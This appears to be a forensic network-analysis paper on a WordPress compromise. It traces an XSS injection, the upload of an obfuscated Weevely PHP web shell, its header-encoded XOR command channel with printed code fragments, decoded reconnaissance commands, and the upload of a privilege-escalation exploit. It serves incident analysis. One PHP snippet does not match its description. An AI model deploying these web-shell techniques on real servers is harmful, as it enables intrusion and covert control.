AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
```

When the `onmouseover` event is triggered, the JavaScript creates, and then appends a `<script>` element to the document body. The source for this external script element exists at a different IP controlled by the attacker.

### 2.3.2. POST /wordpress/wp-admin/admin-ajax.php

At network packet 866, the second POST occurs to `admin-ajax.php` with type `application/octet-stream`, with ~1.7KB of data.

```
866 658.424933000 POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
(application/octet-stream)
```

Reviewing the artifact from the above capture shows that it is a PHP snippet (see Figure 11 below). PHP files, since it is a server-side programming language, will be processed by the web server under the permissions of the web server user. This means the

Kiel Wadner, wadnerk@gmail.com
attacker was able to place code on the server that will execute. Allowing PHP files to be uploaded and run on the web server gives an attacker remote code execution.

Figure 11: Extracted PHP agent

The POST’s response, shown in Figure 12, indicates the file was successfully uploaded and named 1436730054-add_user.php. The file itself will not be executed until a request (either GET or POST) is sent to the location, so the expectation is to later see requests to this location. For now, attention will be turned to the PHP code to determine what its purpose is.

```
<?php
//Do more complex operations here...

//To remove all C and D values
$str = str_replace('cN', '', $str);
$str = str_replace('D', '', $str);

//Close connection
?>
```

Figure 12: Successful POST with location of file on server

Referring back to Figure 11 above, there is a light layer of obfuscation occurring in an attempt to disguise the code. The indicators are the two `str_replace` function calls to remove the extra ‘cN’ and ‘D’ characters. On line 14, the combined strings are concatenated. The function is relatively small, and the obfuscation light enough to tell that it can be safely de-obfuscated by commenting out line 15 to get the final string.

Kiel Wadner, wadnerk@gmail.com
contents for $v$ and $l$. Line fifteen is responsible for calling the decoded function while the other lines are simply building a text value.

The variable $v$, once de-obfuscated, becomes the standard PHP method `create_function`, used to create an anonymous function which can be called in another location (The PHP Group, 2015). In other words, it allows a text value received at the time the script is run, to become another piece of code that can be executed. Further tricks are used by the attacker to make analysis harder.

A cleaned-up version of this code is found in Appendix B. At a very high-level the code receives PHP code snippets as commands from GET requests, which are executed on the server. It then sends back the output in the request body. For the scenario we know this is Weevely, but this knowledge is not a prerequisite for analysis - analyzing the PHP code to understand the functionality could be done regardless. A systematic process to this is not presented in this paper, but the knowledge is used to allow the traffic to be decoded and understood in the next two sections.

### 2.4. Overview of Web Shell Traffic

After the HTTP POST (see section 2.3.2) that uploaded the suspected web shell, there is a break in traffic of almost five minutes, after which time GET requests to the *-add_user.php file begin. This is partially shown in Figure 13 below. The second column from the `tshark` output shows the time delta between requests in the hundredths of second making it improbable to be generated manually by a human.

![Figure 13: GET requests to *add_user.php location (partial)](image)

Kiel Wadner, wadnerk@gmail.com
In total there were 185 GET requests to this location and no POSTs. Most of the requests had a time delta in the hundredths of a second, but there were nine where the delay was over one minute. These characteristics imply the communication of both commands and the command results only occur over GET requests that match up with the PHP analysis. The nine requests with the long delay, followed by several quick requests are likely the points when a command was issued by the attacker. This is in fact true and shown later when the traffic is decoded in Section 2.5

Reviewing the first HTTP stream to the location, which is at frame 874, provides a better picture of what is occurring as shown in Figure 14. There are three items that stand out in the GET request headers. They are the Accept-Language, the User-Agent and the Referer headers. Whether these would stand out in other situations greatly depends on what is known of the environment and traffic patterns by the analyst.

The first oddity is the Accept-Language header value of xh-ZA,pa:q=0.5,pt;q=0.7,pi;q=0.8. According to the W3C organization, the Accept-Language header is used to suggest the language to return content in (W3C, 2011). It is something most end-users would take for granted, but is one way a website can return localized content for the same URL location. The first value xh-ZA indicates the language for the Xhosa language in South Africa (x2libre, 2015). Then, the pa, pt, and pi parameters specific language preferences for Punjabi, Portuguese, and Pali respectively (Library of Congress, 2014). Without any additional context around the request, it is suspicious to have an Accept-Language header with such a diverse spectrum of languages.

Kiel Wadner, wadnerk@gmail.com
Based on this oddity, a preview of the Accept-Languages header for requests to the \*-add_user location was selected and is shown below. Clearly, the language suggestions are widely varied. Note that based on the time delta, the language requested from the attacking host is changing for the same target URL at sub-microsecond intervals.

Figure 15: Sample of the Accept-Language header values used in requests

Across the entire traffic sample, there were 175 different languages sets requested. Going back to knowing the expectations from the research scenario, only two of the requests suggested English should be used for the returned content.

Figure 16: Number of unique language combinations requested

The second item to stand out in the example HTTP stream in Figure 14 above was the User-Agent of value: Opera 9.4 (Windows NT 5.3; U; en). The “en” at the end implies this is an English language browser making the request. However, as mentioned above, it is requesting content in three diverse languages. Windows NT 5 is commonly
known as Windows XP, which is becoming less common and Opera 9 was released in 2006. Given the advances of web technology, it is unlikely such traffic would be the result of a human user at the time the scenario was run in 2015.

In the traffic summary in Section 2.1.1, it was stated that 182 different user agent strings were in the attack traffic. This was just one of them, each with equally telling marks. The suspicious nature of the Accept-Language and User-Agent headers is easier to spot when viewing them side-by-side with the time-delta for several of the requests. The requests are very rapidly changing values, which does not match the behavior of a user browsing the website.

The third item that is interesting from the HTTP stream is the referrer header (again see back to Figure 14). The domain is for google.com.pg, which has the TLD (Top Level Domain) for Papua New Guinea adding yet another language irregularity to the request.

Following the pattern for the other two items, the Referer header for some of the other requests to the attacker’s PHP file are shown below. Not only do the requests have the very minor time delta, different User-Agents, and appear to request content in every language imaginable, they also seem to have been referred to the target web site from a wide range of locations as shown in Figure 18 below. In total 188 different Referrer’s are seen in the attack traffic that is suspiciously close to the 182 User-Agents.
A Network Analysis of a Website Compromise  
Kiel Wadner, wadnerk@gmail.com 

To summarize the HTTP stream followed (and shown again below for ease of reference):

It implies the request was referred by a Google search, localized for Papua New Guinea, using a 10-year-old English language browser, requesting the result to be preferably returned in a native South African language, but if that isn’t possible to use an Indian dialect.

As a response the request above then returns Base64 encoded data wrapped in tag elements that resemble XML. Then, barely 1/100th of a second later, the same source makes another request with entirely different values. Even if it was not for the time deltas, the variation in the other fields, and knowing the location contacted is a PHP file uploaded by the attacker - this is still a very suspicious request.

Kiel Wadner, wadnerk@gmail.com
2.5. Decoding the Web Shell Traffic

Decoding the web shell traffic requires continuing the PHP analysis started in Section 2.3.2. This section is heavily dependent on the static analysis of the PHP agent that was extracted from the network capture. As a reminder, the de-obfuscated and annotated code can be found in Appendix B.

At the top of the script, there are two 4-character parts of a key. Concatenated together, they are used both in decrypting the commands sent and for encrypting the results before sending them back. The single key is denoted as the variable $key in the source code. The tag value in the request response from Figure 19 (5f4dcc3b) is the encryption key in this attack scenario.

2.5.1. Encryption Function

The web shell relies on a stream XOR function to encrypt the data passed in. In a single byte XOR, the same key byte is used on each byte of input. A streaming XOR loops through multiple key bytes to introduce variation. This makes it harder to detect the key that was used by only looking at the output of the XOR function. The same encryption function is used for both commands passed in, as well as the data sent back to the attacker.

```php
function xor_obfuscation($data_bytes, $key)
{
    $key_len = strlen($key);
    $data_len = strlen($data_bytes);
    $output = "";

    /* Cycle through the key bytes, xoring against against the data */
    for ($i = 0; $i < $data_len;)
    {
        for ($kindex = 0; $kindex < $key_len && $i < $data_len; $kindex++, $i++)
        {
            $output .= $data_bytes[$i] ^ $key[$kindex];
        }
    }

    return $output;
}
```

Figure 20: XOR obfuscation method

Kiel Wadner, wadnerk@gmail.com
2.5.2. Decoding the Commands Sent

It was suggested earlier in Section 2.4 that the command and control traffic for the web shell was being sent via HTTP GETs to the /wordpress/wp-content/uploads/contact_files/1436730054-add_user.php URI. This is the location of the web shell. Two things in particular stood out about the headers for requests to that location. First, 185 different referrer strings were used seen. Second, 175 different Accept-Language values were requested. It turns out the uniqueness of these requests is due to how the web shell (Weevely) encodes commands sent. A summary of this process is provided.

The commands the attacker wishes to execute are sent to the web shell encoded in the headers of the request. First, the Accept-Language quality values, \( q \), specify a zero-based index into the Referer’s query string that is part of the encrypted command. Figure 21 below shows the regular expression used to extract these indexes. A side effect of this method of encoding commands is that all requests will have a query string on the Referer. Figure 22 visually shows the breakdown in a request.

Kiel Wadner, wadnerk@gmail.com
A quality value of 0.5 means the fifth query string item, 0.7 the seventh item, and 0.8 the eighth. The web shell then combines the different pieces to build the encrypted command as shown:

```
09bTfofTKmvGLNFLntJqqscTPwt-Cm2s-fWM2ZWSmSJ38fED2Hu5huCe7IwwlJWIK&sig2=2Yxx8baNXkCzHV7PVNRQdM
```

It is expected there will be times when a command cannot fit into a single request’s headers. After all, the Referer string can only be so long and have so many pieces. When that is needed, multiple requests are sent encoding a single command that then requires the agent to combine them together into a long string. To facilitate this, a session identifier is used which is also encoded in the Accept-Language header. It is always made up of the first character of the first two languages suggested. The two blue boxes in Figure 23 show where these occur. The session-id is then combined with the encryption to make a header and footer for wrapping the actual data in. Even a command that fits in a single request, a session-id, header and footer are used.

Figure 22: Breakdown request with embedded command

Figure 23: Embedded session identifier

Kiel Wadner, wadnerk@gmail.com
To build the header and footer, the session id is combined with the first four characters and then second four characters of the key to form two values. In the example shown these are 5fd4, and cc3b respectively. The MD5 of these are calculated and the first three characters of each become the header and footer. The PHP code for this is shown. With the header and footer, the agent knows when it has received the entire command and can start to decrypt it:

```php
/* Build Session ID */
$session_id = $lang_matches[1][0] . $lang_matches[1][1];

/* Build Header and Footer */
$data_header = strtolower(substr(md5($session_id . $key_part_one), 0, 3));
$data_footer = strtolower(substr(md5($session_id . $key_part_two), 0, 3));

Figure 24: Building the session header and footer
```

### 2.5.3. Encoding the Response

After the attacker’s command is executed, the result is prepared to be sent back. The result is first gzip compressed and then passed along to the encryption function from section 2.5.1. Finally, the binary data is base64 encoded to return it back to printable text to be sent back. In this case, the response sent will always be in the form of 

```
<${key}>base64_data_that_was_encrypted</${key}>
```

This matches the observations in the previous section of the traffic summary where the body of a GET request’s response looked like the following:

```
<5f4dccc3b>TfrnSyhP4U0aSe0rS6r+sxqpGy5KS31PG7AbS7Mu/a0eL/1PskweqvweE11Y2mFJQg=/5f4dccc3b>
```

All of the responses in the PCAP in this format can now be decoded by following the process in reverse as shown in the decryption script provided in Appendix C.

### 2.6. Attackers Actions

Now that the encrypted command and control mechanism is understood and able to be decrypted, a closer look at the actions taken by the attacker can be examined. By inspecting the traffic the requests to the web shell occur between packets 874 and 2726, with no other traffic happening within that range. Figure 25 shows two tshark commands

Kiel Wadner, wadnerk@gmail.com
to get the boundaries. A manual inspection was done to verify unrelated requests were not within that range.

```
874 930.353031000 192.168.118.143 -> 192.168.118.138 529 GET
/wordpress/wp-content/uploads/contact_files/1436730054-add_user.php HTTP/1.1
```

```
2726 3281.89439000 192.168.118.143 -> 192.168.118.138 732 GET
/wordpress/wp-content/uploads/contact_files/1436730054-add_user.php HTTP/1.1
```

**Figure 25: Extracting boundaries for packets to web shell**

This consistency allows isolating the Referer and Accept-Language headers easily with the `tshark` command below in Figure 26. The command creates a file with three columns; the first with the time since the start of capture, the second the HTTP Accept-Language header (which has session id components and location of the command parts), and third is the HTTP Referer, including its query string which has the encrypted command pieces. This file shows that 42 different PHP code snippets were sent to the server. The reason this differs from the hypothesis that the attacker issued 10 commands – based on request timing – is that a single command might require multiple PHP snippets to be sent.

```
tshark -r scenario_combined.pcap http and http.accept_language -T fields
> -e frame.time_relative -e http.accept_language -e http.referer
> -R "frame.number>873 and frame.number<2727" > encoded_commands.txt
```

**Figure 26: Extracting only the parts of the commands sent**

To decode the commands, the Python script in Appendix D is to be used. As mentioned earlier, the commands are in the form of PHP snippets that will be executed by the web server. The next four sub-sections highlight the attacker’s commands to the web shell in order to establish a timeline of actions. Instead of looking at all forty-two commands sent, only the requests that add significant value to understanding the attack are presented. The sequence starts approximately 15 minutes into the capture.

Kiel Wadner, wadnerk@gmail.com
2.6.1. Extracting System Information

The first set of commands run are relatively benign and are the attacker gathering information, and getting familiar with the system they now have access to:

**At 930.43 seconds into attack:**

```php
print(@gethostname());
```

**Response:** `<5f4dcc3b>Tfofq0wpGkp/SxpiY3CVYd8=</5f4dcc3b>`

**Decoded:** `wordpress`

As expected from the command, the response is the hostname, which is ‘wordpress’. The next command tries two different methods to retrieve the user name that is running the HTTP server process.

```php
if(is_callable('posix_getpwuid') && is_callable('posix_geteuid')) {
    $u = @posix_getpwuid(@posix_geteuid());
    if($u){
        $u=$u['name'];
    } else {
        $u=getenv('username');
    }
    print($u);
}
```

**Response:** `<5f4dcc3b>TfofS0y0fisZLzBkbcswTw==</5f4dcc3b>`

**Decoded:** `www-data`

Continuing the reconnaissance, the attacker runs several commands to get information about the PHP and web server. The first is to get the document root for the web server, which is the location where files are stored on the server.

**At 930.50 seconds into attack:**

```php
chdir('/var/www/html/wordpress/wp-content/uploads/contact_files');
print(@$_SERVER['DOCUMENT_ROOT']);
```

**Response:** `<5f4dcc3b>TfrnSyhP4U0aSeOrS6r+YzVHGmCS</5f4dcc3b>`

**Decoded:** `/var/www/html`

Kiel Wadner, wadnerk@gmail.com
At 930.74 seconds into attack:

```
chdir('/var/www/html/wordpress/wp-content/uploads/contact_files');
print(@php_uname());
```

Response: TfoxpdJps0IhY+Q72rNfmmGi7sbWQ3uFLfRGVdLHDD1G4CSv5JT5Gf+YikU
I8QYFd9f3I/yg tShcgOJ2/OFK/LWptkoGczRXGd/af+OElcGnJLOZ5LUS1g
Decoded: Linux wordpress 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10
19:11:08 UTC 2014 x86_64

The response in this case is the equivalent of running `uname -a` from a terminal prompt on Linux. It has provided the attack with the hostname, kernel version, and from the time-stamp the likely version of Ubuntu running. This information would provide good hints to the attack for the exploit that is uploaded in Section 2.6.3 below.

At 930.91 seconds into the attack:

```
chdir('/var/www/html/wordpress/wp-content/uploads/contact_files');
$v='';
if(function_exists('phpversion')){
    $v=phpversion();
} elseif(defined('PHP_VERSION')){
    $v=PHP_VERSION;
} elseif(defined('PHP_VERSION_ID')){
    $v=PHP_VERSION_ID;
}
print($v);
```

Response: TfoHsVC2gLYASnLOrkgaVzRml3VnVg==
Decoded: 5.5.9-1ubuntu4

Although no attacks were performed against PHP itself, knowing the version of PHP can be very helpful to an attacker. PHP version 5.5.9 was released in February 2014, and has several exploits available against it (The PHP Group, 2015).

### 2.6.2. Shell Access

Just over 21 minutes into the network capture the web shells command and control traffic raises a huge red flag by requesting shell access.
A Network Analysis of a Website Compromise

Kiel Wadner, wadnerk@gmail.com

2.6.3. Uploading Exploit

At about 49 minutes in, after having shell access as the www-data user for a period, the attacker decides its time up the ante. Two commands are sent in quick succession. The first creates a file with the name scaffolding.c, and confirms that it has read/write access and can be executed.

```php
chdir('/var/www/html/wordpress/wp-content/uploads/contact_files');
$f='/var/www/html/wordpress/wp-content/uploads/scaffolding.c';
if(@file_exists($f))print('e');
if(@is_readable($f))print('r');
if(@is_writable($f))print('w');
if(@is_executable($f))print('x');
```

The next, sends the information to be written to the scaffolding.c file as a Base64 encoded value and uses the file_put_contents PHP function to write it to disk. The actual value is truncated in the command below, but the decode C source code is in Appendix E. A full analysis of the C code is beyond the scope of this document. However, it is the proof of concept exploit for CVE-2015-1328, which was posted on exploit-db.com, and allows for privilege escalation.

Kiel Wadner, wadnerk@gmail.com
After uploading the data the file is compiled into an executable to later be execute. Note the use of the @system function that was observed earlier.

2.6.4. Game Over

With the last command, the attacker issues they gain full control by creating a new user, and adding them to the /etc/sudoers file. On Ubuntu systems, this file controls which users are able to run commands with administrative permissions.

The very last command issued over the web shell confirms the user was successfully added. This would only be possible if the exploit and all commands up to the call to scaffolding succeeded, assuring the user is also in the sudo file.
A Network Analysis of a Website Compromise

Kiel Wadner, wadnerk@gmail.com

2.7. An SSH Connection

Proof that the attacker controls the system is given at the end of the network traffic where an SSH connection is successfully established. This is shown in the figure above. It is based on the proposition that an SSH connection from the attacker’s IP is not expected. At this point, with a system account, sudo access, and the ability to SSH in our ability to observe their actions is greatly hindered.

Kiel Wadner, wadnerk@gmail.com
3. Conclusion

